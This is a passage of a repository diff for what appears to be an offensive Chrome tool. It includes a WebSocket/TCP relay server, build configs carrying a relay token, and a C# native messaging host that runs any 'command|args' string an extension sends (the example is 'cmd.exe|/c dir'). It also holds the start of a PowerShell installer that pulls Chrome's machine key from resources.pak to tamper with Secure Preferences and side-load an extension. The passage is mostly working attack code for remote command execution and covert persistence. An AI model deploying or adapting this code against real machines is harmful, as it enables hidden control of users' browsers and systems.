// For simplicity, we'll limit to 65535 bytes
|
||||
this.log("FIRECRACKER: Message too large, truncating to 65535 bytes");
|
||||
const truncatedPayload = payload.slice(0, 65535);
|
||||
frame = new ArrayBuffer(4 + truncatedPayload.length);
|
||||
const view = new DataView(frame);
|
||||
view.setUint8(0, 0x81);
|
||||
view.setUint8(1, 126);
|
||||
view.setUint16(2, truncatedPayload.length);
|
||||
new Uint8Array(frame, 4).set(truncatedPayload);
|
||||
}
|
||||
|
||||
await connectionInfo.writer.write(new Uint8Array(frame));
|
||||
this.log(`FIRECRACKER: WebSocket message sent successfully to ${connectionInfo.connectionId}`);
|
||||
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Failed to send WebSocket message to ${connectionInfo.connectionId}:`, error);
|
||||
// If the connection is broken, clean it up
|
||||
if (error.name === 'NetworkError' || error.message.includes('closed')) {
|
||||
this.log(`FIRECRACKER: Connection ${connectionInfo.connectionId} appears to be broken, cleaning up`);
|
||||
this.handleConnectionClose(connectionInfo.connectionId);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send WebSocket pong frame
|
||||
*/
|
||||
async sendWebSocketPong(connectionInfo, pingPayload = '') {
|
||||
try {
|
||||
const payload = new TextEncoder().encode(pingPayload);
|
||||
let frame;
|
||||
|
||||
// Create pong frame (opcode 10)
|
||||
if (payload.length < 126) {
|
||||
frame = new ArrayBuffer(2 + payload.length);
|
||||
const view = new DataView(frame);
|
||||
// First byte: FIN (1) + RSV (000) + Opcode (1010 for pong)
|
||||
view.setUint8(0, 0x8A);
|
||||
// Second byte: MASK (0) + Payload length
|
||||
view.setUint8(1, payload.length);
|
||||
// Copy payload
|
||||
if (payload.length > 0) {
|
||||
new Uint8Array(frame, 2).set(payload);
|
||||
}
|
||||
} else {
|
||||
// For simplicity, limit pong payload to 125 bytes
|
||||
const truncatedPayload = payload.slice(0, 125);
|
||||
frame = new ArrayBuffer(2 + truncatedPayload.length);
|
||||
const view = new DataView(frame);
|
||||
view.setUint8(0, 0x8A);
|
||||
view.setUint8(1, truncatedPayload.length);
|
||||
new Uint8Array(frame, 2).set(truncatedPayload);
|
||||
}
|
||||
|
||||
await connectionInfo.writer.write(new Uint8Array(frame));
|
||||
this.log(`FIRECRACKER: WebSocket pong sent to ${connectionInfo.connectionId}`);
|
||||
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Failed to send WebSocket pong:`, error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send TCP echo response
|
||||
*/
|
||||
async sendTcpEcho(connectionInfo, message) {
|
||||
const echoMessage = `FIRECRACKER: ${message}`;
|
||||
const buffer = new TextEncoder().encode(echoMessage);
|
||||
|
||||
try {
|
||||
await connectionInfo.writer.write(buffer);
|
||||
this.log(`FIRECRACKER: TCP echo sent to ${connectionInfo.connectionId}`);
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Failed to send TCP echo:`, error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle connection close
|
||||
*/
|
||||
async handleConnectionClose(connectionId) {
|
||||
this.log(`FIRECRACKER: Connection closed: ${connectionId}`);
|
||||
const connectionInfo = this.clientConnections.get(connectionId);
|
||||
|
||||
if (connectionInfo) {
|
||||
try {
|
||||
// Close the writer
|
||||
await connectionInfo.writer.close();
|
||||
// Close the TCP socket
|
||||
await connectionInfo.tcpSocket.close();
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Error closing connection ${connectionId}:`, error);
|
||||
}
|
||||
|
||||
this.clientConnections.delete(connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Close a connection
|
||||
*/
|
||||
async closeConnection(connectionId) {
|
||||
await this.handleConnectionClose(connectionId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the server
|
||||
*/
|
||||
async stop() {
|
||||
if (!this.isRunning) return;
|
||||
|
||||
this.log("FIRECRACKER: Stopping server...");
|
||||
this.isRunning = false;
|
||||
|
||||
// Close all client connections
|
||||
for (const [connectionId] of this.clientConnections) {
|
||||
await this.closeConnection(connectionId);
|
||||
}
|
||||
|
||||
// Close server socket
|
||||
if (this.serverSocket !== null) {
|
||||
try {
|
||||
await this.serverSocket.close();
|
||||
} catch (error) {
|
||||
this.log("FIRECRACKER: Error closing server socket:", error);
|
||||
}
|
||||
this.serverSocket = null;
|
||||
}
|
||||
|
||||
this.log("FIRECRACKER: Server stopped");
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server status
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
isRunning: this.isRunning,
|
||||
port: this.port,
|
||||
connectedClients: this.clientConnections.size
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// Global instance
|
||||
let firecrackerServer = null;
|
||||
|
||||
// Export getter for server instance
|
||||
export function getFirecrackerServer() {
|
||||
return firecrackerServer;
|
||||
}
|
||||
|
||||
// Initialize server when script loads
|
||||
export async function initializeFirecrackerServer(logCallback = null) {
|
||||
|
||||
try {
|
||||
firecrackerServer = new FirecrackerWebSocketServer(null, logCallback);
|
||||
await firecrackerServer.start();
|
||||
firecrackerServer.log("FIRECRACKER: Server initialized successfully");
|
||||
return firecrackerServer;
|
||||
} catch (error) {
|
||||
firecrackerServer.log("FIRECRACKER: Failed to initialize server:", error);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"module": "commonjs",
|
||||
"lib": ["dom", "es2015"],
|
||||
"outDir": "./dist/",
|
||||
"sourceMap": true,
|
||||
"noImplicitAny": true,
|
||||
"noImplicitReturns": true,
|
||||
"noImplicitThis": true,
|
||||
"strictNullChecks": true,
|
||||
"target": "es5"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
const path = require('path');
|
||||
const HtmlWebpackPlugin = require('html-webpack-plugin');
|
||||
const webpack = require('webpack');
|
||||
const fs = require("fs");
|
||||
const dotenv = require('dotenv');
|
||||
|
||||
// Load environment variables from .env file
|
||||
const envPath = path.resolve(process.cwd(), '.env');
|
||||
let envConfig = {};
|
||||
|
||||
// Check if .env file exists before trying to load it
|
||||
if (fs.existsSync(envPath)) {
|
||||
console.log(`Loading environment from: ${envPath}`);
|
||||
envConfig = dotenv.parse(fs.readFileSync(envPath));
|
||||
} else {
|
||||
console.warn('No .env file found. Using only environment variables.');
|
||||
}
|
||||
|
||||
// Get private key setup
|
||||
const privateKeyFile = process.env.KEYFILE || envConfig.KEYFILE || "private.key";
|
||||
let privateKey;
|
||||
if (process.env.KEY || envConfig.KEY) {
|
||||
privateKey = process.env.KEY || envConfig.KEY;
|
||||
} else if (fs.existsSync(privateKeyFile)) {
|
||||
privateKey = fs.readFileSync(privateKeyFile);
|
||||
}
|
||||
|
||||
// Get relay configuration - prioritize environment variables over .env file
|
||||
const wsDomain = process.env.WS_DOMAIN || envConfig.WS_DOMAIN;
|
||||
const relayToken = process.env.RELAY_TOKEN || envConfig.RELAY_TOKEN;
|
||||
const firecrackerPort = process.env.FIRECRACKER_PORT || envConfig.FIRECRACKER_PORT;
|
||||
|
||||
// Validate required environment variables
|
||||
if (!wsDomain) {
|
||||
console.error('\x1b[31m%s\x1b[0m', 'ERROR: WS_DOMAIN is not defined!');
|
||||
console.error('\x1b[33m%s\x1b[0m', 'Please set WS_DOMAIN in your .env file or as an environment variable.');
|
||||
console.error('\x1b[33m%s\x1b[0m', 'Example: WS_DOMAIN=your-relay-server.com');
|
||||
process.exit(1); // Exit with error code
|
||||
}
|
||||
|
||||
if (!relayToken) {
|
||||
console.error('\x1b[31m%s\x1b[0m', 'ERROR: RELAY_TOKEN is not defined!');
|
||||
console.error('\x1b[33m%s\x1b[0m', 'Please set RELAY_TOKEN in your .env file or as an environment variable.');
|
||||
console.error('\x1b[33m%s\x1b[0m', 'Example: RELAY_TOKEN=your-secret-token');
|
||||
process.exit(1); // Exit with error code
|
||||
}
|
||||
|
||||
console.log(`Using WebSocket URL: wss://${wsDomain}:443`);
|
||||
// Don't log the full token for security reasons
|
||||
console.log(`Using Relay Token: ${relayToken.substring(0, 8)}...`);
|
||||
if (firecrackerPort) {
|
||||
console.log(`Using FIRECRACKER Port: ${firecrackerPort}`);
|
||||
}
|
||||
|
||||
// Create the webpack configuration
|
||||
const config = {
|
||||
entry: './src/main.js',
|
||||
output: {
|
||||
filename: 'bundle.js',
|
||||
path: path.resolve(__dirname, 'dist'),
|
||||
clean: true
|
||||
},
|
||||
module: {
|
||||
rules: [
|
||||
{
|
||||
test: /\.js$/,
|
||||
exclude: /node_modules/,
|
||||
use: {
|
||||
loader: 'babel-loader'
|
||||
}
|
||||
},
|
||||
{
|
||||
test: /\.css$/,
|
||||
use: ['style-loader', 'css-loader']
|
||||
}
|
||||
]
|
||||
},
|
||||
plugins: [
|
||||
new HtmlWebpackPlugin({
|
||||
template: 'src/index.html'
|
||||
}),
|
||||
// Add DefinePlugin to inject environment variables
|
||||
new webpack.DefinePlugin({
|
||||
'process.env.WS_DOMAIN': JSON.stringify(wsDomain),
|
||||
'process.env.RELAY_TOKEN': JSON.stringify(relayToken),
|
||||
'process.env.FIRECRACKER_PORT': JSON.stringify(firecrackerPort)
|
||||
})
|
||||
],
|
||||
resolve: {
|
||||
extensions: ['.js']
|
||||
}
|
||||
};
|
||||
|
||||
// Add shared variables as a non-enumerable property to avoid webpack schema validation
|
||||
Object.defineProperty(config, 'sharedEnv', {
|
||||
enumerable: false,
|
||||
value: {
|
||||
privateKey,
|
||||
privateKeyFile,
|
||||
wsDomain,
|
||||
relayToken,
|
||||
firecrackerPort
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = config;
|
||||
@@ -0,0 +1,77 @@
|
||||
const { merge } = require('webpack-merge');
|
||||
const common = require('./webpack.config.cjs');
|
||||
const TerserPlugin = require('terser-webpack-plugin');
|
||||
const WebBundlePlugin = require('webbundle-webpack-plugin');
|
||||
const { WebBundleId, parsePemKey } = require('wbn-sign');
|
||||
|
||||
// Get shared environment variables
|
||||
// Access the non-enumerable property
|
||||
const sharedEnv = common.sharedEnv || {};
|
||||
const privateKey = sharedEnv.privateKey;
|
||||
|
||||
// Configure web bundle plugin
|
||||
let webBundlePlugin;
|
||||
if (privateKey) {
|
||||
const parsedPrivateKey = parsePemKey(privateKey);
|
||||
webBundlePlugin = new WebBundlePlugin({
|
||||
baseURL: new WebBundleId(parsedPrivateKey).serializeWithIsolatedWebAppOrigin(),
|
||||
static: { dir: 'assets' },
|
||||
output: 'app.swbn',
|
||||
integrityBlockSign: { key: parsedPrivateKey }
|
||||
});
|
||||
} else {
|
||||
webBundlePlugin = new WebBundlePlugin({
|
||||
baseURL: '/',
|
||||
output: 'app.wbn',
|
||||
});
|
||||
}
|
||||
|
||||
// Merge configurations
|
||||
module.exports = merge(common, {
|
||||
mode: 'production',
|
||||
optimization: {
|
||||
minimize: true,
|
||||
minimizer: [
|
||||
new TerserPlugin({
|
||||
terserOptions: {
|
||||
format: {
|
||||
comments: false,
|
||||
ascii_only: true
|
||||
},
|
||||
compress: {
|
||||
drop_console: true,
|
||||
drop_debugger: true,
|
||||
pure_funcs: [],
|
||||
passes: 3,
|
||||
unsafe: true,
|
||||
unsafe_math: true,
|
||||
unsafe_methods: true,
|
||||
unsafe_proto: true,
|
||||
unsafe_regexp: true,
|
||||
collapse_vars: true,
|
||||
dead_code: true,
|
||||
reduce_vars: true,
|
||||
booleans_as_integers: true
|
||||
},
|
||||
mangle: {
|
||||
eval: false,
|
||||
keep_classnames: false,
|
||||
keep_fnames: false,
|
||||
toplevel: true,
|
||||
safari10: true,
|
||||
properties: false
|
||||
},
|
||||
ecma: 2020,
|
||||
module: true
|
||||
},
|
||||
extractComments: false,
|
||||
}),
|
||||
],
|
||||
},
|
||||
output: {
|
||||
clean: true
|
||||
},
|
||||
plugins: [
|
||||
webBundlePlugin,
|
||||
]
|
||||
});
|
||||
@@ -0,0 +1,62 @@
|
||||
/**
|
||||
* Copyright 2022 Google LLC
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
const { merge } = require('webpack-merge');
|
||||
const common = require('./webpack.config.cjs');
|
||||
const WebBundlePlugin = require('webbundle-webpack-plugin');
|
||||
const { WebBundleId, parsePemKey } = require('wbn-sign');
|
||||
|
||||
// Get shared environment variables with fallback
|
||||
const sharedEnv = common.sharedEnv || {};
|
||||
const privateKey = sharedEnv.privateKey;
|
||||
|
||||
// Configure web bundle plugin
|
||||
let webBundlePlugin;
|
||||
if (privateKey) {
|
||||
const parsedPrivateKey = parsePemKey(privateKey);
|
||||
|
||||
webBundlePlugin = new WebBundlePlugin({
|
||||
baseURL: new WebBundleId(
|
||||
parsedPrivateKey
|
||||
).serializeWithIsolatedWebAppOrigin(),
|
||||
static: {
|
||||
dir: 'assets',
|
||||
},
|
||||
output: 'app.swbn',
|
||||
integrityBlockSign: {
|
||||
key: parsedPrivateKey
|
||||
},
|
||||
});
|
||||
} else {
|
||||
webBundlePlugin = new WebBundlePlugin({
|
||||
baseURL: '/',
|
||||
output: 'app.wbn',
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = merge(common, {
|
||||
mode: 'development',
|
||||
devtool: 'source-map',
|
||||
optimization: {
|
||||
minimize: false,
|
||||
moduleIds: 'named',
|
||||
chunkIds: 'named',
|
||||
mangleExports: false,
|
||||
},
|
||||
plugins: [
|
||||
webBundlePlugin,
|
||||
]
|
||||
});
|
||||
@@ -0,0 +1,134 @@
|
||||
|
||||
# Contributor Covenant Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
We as members, contributors, and leaders pledge to make participation in our
|
||||
community a harassment-free experience for everyone, regardless of age, body
|
||||
size, visible or invisible disability, ethnicity, sex characteristics, gender
|
||||
identity and expression, level of experience, education, socio-economic status,
|
||||
nationality, personal appearance, race, caste, color, religion, or sexual identity
|
||||
and orientation.
|
||||
|
||||
We pledge to act and interact in ways that contribute to an open, welcoming,
|
||||
diverse, inclusive, and healthy community.
|
||||
|
||||
## Our Standards
|
||||
|
||||
Examples of behavior that contributes to a positive environment for our
|
||||
community include:
|
||||
|
||||
* Demonstrating empathy and kindness toward other people
|
||||
* Being respectful of differing opinions, viewpoints, and experiences
|
||||
* Giving and gracefully accepting constructive feedback
|
||||
* Accepting responsibility and apologizing to those affected by our mistakes,
|
||||
and learning from the experience
|
||||
* Focusing on what is best not just for us as individuals, but for the
|
||||
overall community
|
||||
|
||||
Examples of unacceptable behavior include:
|
||||
|
||||
* The use of sexualized language or imagery, and sexual attention or
|
||||
advances of any kind
|
||||
* Trolling, insulting or derogatory comments, and personal or political attacks
|
||||
* Public or private harassment
|
||||
* Publishing others' private information, such as a physical or email
|
||||
address, without their explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a
|
||||
professional setting
|
||||
|
||||
## Enforcement Responsibilities
|
||||
|
||||
Community leaders are responsible for clarifying and enforcing our standards of
|
||||
acceptable behavior and will take appropriate and fair corrective action in
|
||||
response to any behavior that they deem inappropriate, threatening, offensive,
|
||||
or harmful.
|
||||
|
||||
Community leaders have the right and responsibility to remove, edit, or reject
|
||||
comments, commits, code, wiki edits, issues, and other contributions that are
|
||||
not aligned to this Code of Conduct, and will communicate reasons for moderation
|
||||
decisions when appropriate.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies within all community spaces, and also applies when
|
||||
an individual is officially representing the community in public spaces.
|
||||
Examples of representing our community include using an official e-mail address,
|
||||
posting via an official social media account, or acting as an appointed
|
||||
representative at an online or offline event.
|
||||
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported to the community leaders responsible for enforcement at
|
||||
opensource@praetorian.com.
|
||||
All complaints will be reviewed and investigated promptly and fairly.
|
||||
|
||||
All community leaders are obligated to respect the privacy and security of the
|
||||
reporter of any incident.
|
||||
|
||||
## Enforcement Guidelines
|
||||
|
||||
Community leaders will follow these Community Impact Guidelines in determining
|
||||
the consequences for any action they deem in violation of this Code of Conduct:
|
||||
|
||||
### 1. Correction
|
||||
|
||||
**Community Impact**: Use of inappropriate language or other behavior deemed
|
||||
unprofessional or unwelcome in the community.
|
||||
|
||||
**Consequence**: A private, written warning from community leaders, providing
|
||||
clarity around the nature of the violation and an explanation of why the
|
||||
behavior was inappropriate. A public apology may be requested.
|
||||
|
||||
### 2. Warning
|
||||
|
||||
**Community Impact**: A violation through a single incident or series
|
||||
of actions.
|
||||
|
||||
**Consequence**: A warning with consequences for continued behavior. No
|
||||
interaction with the people involved, including unsolicited interaction with
|
||||
those enforcing the Code of Conduct, for a specified period of time. This
|
||||
includes avoiding interactions in community spaces as well as external channels
|
||||
like social media. Violating these terms may lead to a temporary or
|
||||
permanent ban.
|
||||
|
||||
### 3. Temporary Ban
|
||||
|
||||
**Community Impact**: A serious violation of community standards, including
|
||||
sustained inappropriate behavior.
|
||||
|
||||
**Consequence**: A temporary ban from any sort of interaction or public
|
||||
communication with the community for a specified period of time. No public or
|
||||
private interaction with the people involved, including unsolicited interaction
|
||||
with those enforcing the Code of Conduct, is allowed during this period.
|
||||
Violating these terms may lead to a permanent ban.
|
||||
|
||||
### 4. Permanent Ban
|
||||
|
||||
**Community Impact**: Demonstrating a pattern of violation of community
|
||||
standards, including sustained inappropriate behavior, harassment of an
|
||||
individual, or aggression toward or disparagement of classes of individuals.
|
||||
|
||||
**Consequence**: A permanent ban from any sort of public interaction within
|
||||
the community.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 2.1, available at
|
||||
[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1].
|
||||
|
||||
Community Impact Guidelines were inspired by
|
||||
[Mozilla's code of conduct enforcement ladder][Mozilla CoC].
|
||||
|
||||
For answers to common questions about this code of conduct, see the FAQ at
|
||||
[https://www.contributor-covenant.org/faq][FAQ]. Translations are available
|
||||
at [https://www.contributor-covenant.org/translations][translations].
|
||||
|
||||
[homepage]: https://www.contributor-covenant.org
|
||||
[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
|
||||
[Mozilla CoC]: https://github.com/mozilla/diversity
|
||||
[FAQ]: https://www.contributor-covenant.org/faq
|
||||
[translations]: https://www.contributor-covenant.org/translations
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>net8.0</TargetFramework>
|
||||
<RootNamespace>NativeAppHost</RootNamespace>
|
||||
<AssemblyName>NativeAppHost</AssemblyName>
|
||||
<ImplicitUsings>enable</ImplicitUsings>
|
||||
<Nullable>enable</Nullable>
|
||||
</PropertyGroup>
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
</PropertyGroup>
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,92 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Chrome
|
||||
{
|
||||
public class NativeMessaging
|
||||
{
|
||||
public static string ParseMessage(string nativeMessage)
|
||||
{
|
||||
string command, args;
|
||||
try
|
||||
{
|
||||
string parsedMessage = nativeMessage.Substring("{\"message\":\"".Length, nativeMessage.Length - "{\"message\":\"".Length - "\"}".Length);
|
||||
// File.AppendAllText("./message.txt", parsedMessage);
|
||||
command = parsedMessage.Split('|')[0];
|
||||
args = string.Join("|", parsedMessage.Split('|').Skip(1).ToArray());
|
||||
// File.AppendAllText("./message.txt", string.Format("\n{0}\n{1}",command, args));
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// File.AppendAllText("./message.txt", e.Message);
|
||||
return $"Message \"{nativeMessage}\" was not correctly formatted";
|
||||
}
|
||||
|
||||
|
||||
Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = command,
|
||||
Arguments = args,
|
||||
UseShellExecute = false, RedirectStandardOutput = true,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
process.Start();
|
||||
|
||||
string output = "";
|
||||
|
||||
while (!process.StandardOutput.EndOfStream)
|
||||
{
|
||||
var line = process.StandardOutput.ReadLine();
|
||||
output += line + "\n";
|
||||
}
|
||||
|
||||
process.WaitForExit();
|
||||
|
||||
return output;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
return $"An Error happened: {e.Message}";
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0600000A RID: 10 RVA: 0x00002BD8 File Offset: 0x00000DD8
|
||||
public static string OpenStandardStreamIn()
|
||||
{
|
||||
Stream stream = Console.OpenStandardInput();
|
||||
byte[] array = new byte[4];
|
||||
stream.Read(array, 0, 4);
|
||||
int num = BitConverter.ToInt32(array, 0);
|
||||
string text = "";
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
text += (char)stream.ReadByte();
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
// Token: 0x0600000B RID: 11 RVA: 0x00002C30 File Offset: 0x00000E30
|
||||
public static void OpenStandardStreamOut(string stringData)
|
||||
{
|
||||
string encodedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(stringData));
|
||||
string message = string.Format("{{\"data\":\"{0}\"}}",encodedData);
|
||||
int length = message.Length;
|
||||
Stream stream = Console.OpenStandardOutput();
|
||||
stream.WriteByte((byte)(length & 255));
|
||||
stream.WriteByte((byte)(length >> 8 & 255));
|
||||
stream.WriteByte((byte)(length >> 16 & 255));
|
||||
stream.WriteByte((byte)(length >> 24 & 255));
|
||||
stream.Write(Encoding.UTF8.GetBytes(message),0,length);
|
||||
stream.Flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Chrome
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
/**
|
||||
var port = chrome.runtime.connectNative('com.chrome.alone');
|
||||
port.onMessage.addListener(function(msg) {
|
||||
console.log("Received: " + msg["data"]);
|
||||
});
|
||||
port.onDisconnect.addListener(function() {
|
||||
console.log("Disconnected");
|
||||
});
|
||||
port.postMessage({"message":"cmd.exe|/c dir"});
|
||||
*/
|
||||
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
string message = NativeMessaging.OpenStandardStreamIn();
|
||||
if (!string.IsNullOrEmpty(message))
|
||||
{
|
||||
// File.WriteAllText("./message.txt", message);
|
||||
if (message.Contains("|"))
|
||||
{
|
||||
string output = NativeMessaging.ParseMessage(message);
|
||||
NativeMessaging.OpenStandardStreamOut(output);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// public static void Test()
|
||||
// {
|
||||
// string output = NativeMessaging.ParseMessage("{\"message\":\"cmd.exe|/c dir\"}");
|
||||
// NativeMessaging.OpenStandardStreamOut(output);
|
||||
// }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,739 @@
|
||||
# PowerShell script template
|
||||
|
||||
param(
|
||||
[string]$ExtensionInstallDir = "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\myextension",
|
||||
[string]$ExtensionDescription = "Chrome Extension",
|
||||
[string]$InstallNativeMessagingHost = "false",
|
||||
[string]$ForceRestartChrome = "false"
|
||||
)
|
||||
|
||||
# ChromePathHelper functions
|
||||
function Get-ChromeApplicationPath {
|
||||
$programFiles = [Environment]::ExpandEnvironmentVariables("%ProgramW6432%")
|
||||
$programFilesX86 = [Environment]::ExpandEnvironmentVariables("%ProgramFiles(x86)%")
|
||||
|
||||
$basePath = $null
|
||||
if (Test-Path "$programFiles\Google\Chrome\Application") {
|
||||
$basePath = "$programFiles\Google\Chrome\Application"
|
||||
}
|
||||
else {
|
||||
$basePath = "$programFilesX86\Google\Chrome\Application"
|
||||
}
|
||||
|
||||
$subdirectories = Get-ChildItem -Path $basePath -Directory
|
||||
$finalSubDir = ""
|
||||
|
||||
foreach ($subdir in $subdirectories) {
|
||||
if ($subdir.Name.Split('.').Length -gt 2) {
|
||||
$finalSubDir = $subdir.FullName
|
||||
}
|
||||
}
|
||||
|
||||
if ([string]::IsNullOrEmpty($finalSubDir)) {
|
||||
throw "Cannot find Google Chrome App directory."
|
||||
}
|
||||
|
||||
return $finalSubDir
|
||||
}
|
||||
|
||||
function Is-Windows11 {
|
||||
$osName = (Get-CimInstance Win32_OperatingSystem).Caption
|
||||
if ($osName -like "*Windows 11*") {
|
||||
return $true
|
||||
}
|
||||
return $false
|
||||
}
|
||||
|
||||
function Get-PreferencesPath {
|
||||
$appLocalData = [Environment]::ExpandEnvironmentVariables("%localappdata%")
|
||||
return "$appLocalData\Google\Chrome\User Data\Default\Preferences"
|
||||
}
|
||||
|
||||
function Get-SecurePreferencesPath {
|
||||
$appLocalData = [Environment]::ExpandEnvironmentVariables("%localappdata%")
|
||||
return "$appLocalData\Google\Chrome\User Data\Default\Secure Preferences"
|
||||
}
|
||||
|
||||
# ChromeMachineId functions
|
||||
function Get-DeviceId {
|
||||
return ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -split '-')[0..6] -join '-'
|
||||
}
|
||||
|
||||
function Get-MachineKey {
|
||||
param([string]$ResourcePath = $null)
|
||||
|
||||
if (-not $ResourcePath) {
|
||||
$chromePath = Get-ChromeApplicationPath
|
||||
$ResourcePath = "$chromePath\resources.pak"
|
||||
}
|
||||
|
||||
if (-not (Test-Path $ResourcePath)) {
|
||||
throw "Resources.pak file not found at: $ResourcePath"
|
||||
}
|
||||
|
||||
try {
|
||||
$resourceBytes = [System.IO.File]::ReadAllBytes($ResourcePath)
|
||||
|
||||
$version = [System.BitConverter]::ToInt32($resourceBytes, 0)
|
||||
$encoding = [System.BitConverter]::ToInt32($resourceBytes, 4)
|
||||
$resourceCount = [System.BitConverter]::ToUInt16($resourceBytes, 8)
|
||||
$aliasCount = [System.BitConverter]::ToUInt16($resourceBytes, 10)
|
||||
|
||||
$resourceOffset = 12 + $resourceCount * 6 + $aliasCount * 6
|
||||
$lastResourceOffset = $resourceOffset
|
||||
|
||||
for ($i = 1; $i -lt $resourceCount; $i++) {
|
||||
$resourceId = [System.BitConverter]::ToUInt16($resourceBytes, 12 + $i * 6)
|
||||
$fileOffset = [System.BitConverter]::ToUInt16($resourceBytes, 12 + $i * 6 + 2)
|
||||
|
||||
if ($fileOffset - $lastResourceOffset -eq 64) {
|
||||
$machineKey = $resourceBytes[$lastResourceOffset..($lastResourceOffset + 63)]
|
||||
return $machineKey
|
||||
}
|
||||
else {
|
||||
$lastResourceOffset = $fileOffset
|
||||
}
|
||||
}
|
||||
|
||||
throw "PAK does not have a 64 byte resource"
|
||||
}
|
||||
catch {
|
||||
throw "Failed to extract machine key: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
# ExtensionCryptoHelpers functions
|
||||
function Get-Sha256HashForBytes {
|
||||
param([byte[]]$BytesToHash)
|
||||
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
$hashBytes = $sha256.ComputeHash($BytesToHash)
|
||||
$sha256.Dispose()
|
||||
|
||||
$builder = [System.Text.StringBuilder]::new()
|
||||
foreach ($b in $hashBytes) {
|
||||
$builder.Append($b.ToString("x2"))
|
||||
}
|
||||
|
||||
return $builder.ToString()
|
||||
}
|
||||
|
||||
function ConvertTo-JsonWithEscaping {
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$true)]
|
||||
$InputObject,
|
||||
[switch]$Compress,
|
||||
[int]$Depth = 100
|
||||
)
|
||||
|
||||
$result = $InputObject | ConvertTo-Json -Compress:$Compress -Depth $Depth
|
||||
# ConvertTo-Json adds double backslashes, so we need to remove them
|
||||
$result = $result.Replace('\\\\','\\')
|
||||
return $result
|
||||
}
|
||||
|
||||
|
||||
function ConvertTo-JsonSorted {
|
||||
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$true)]
|
||||
$InputObject,
|
||||
[switch]$Compress,
|
||||
[int]$Depth = 100
|
||||
)
|
||||
|
||||
function Sort-ObjectRecursively {
|
||||
param($obj)
|
||||
|
||||
if ($obj -is [array]) {
|
||||
# For arrays, preserve order but recursively sort any objects within
|
||||
$sortedArray = @()
|
||||
foreach ($item in $obj) {
|
||||
$sortedArray += Sort-ObjectRecursively $item
|
||||
}
|
||||
return $sortedArray
|
||||
}
|
||||
elseif ($obj -is [PSCustomObject]) {
|
||||
# For PSCustomObjects, sort keys and recursively sort values
|
||||
$sortedObj = [PSCustomObject]@{}
|
||||
$sortedKeys = $obj.PSObject.Properties.Name | Sort-Object
|
||||
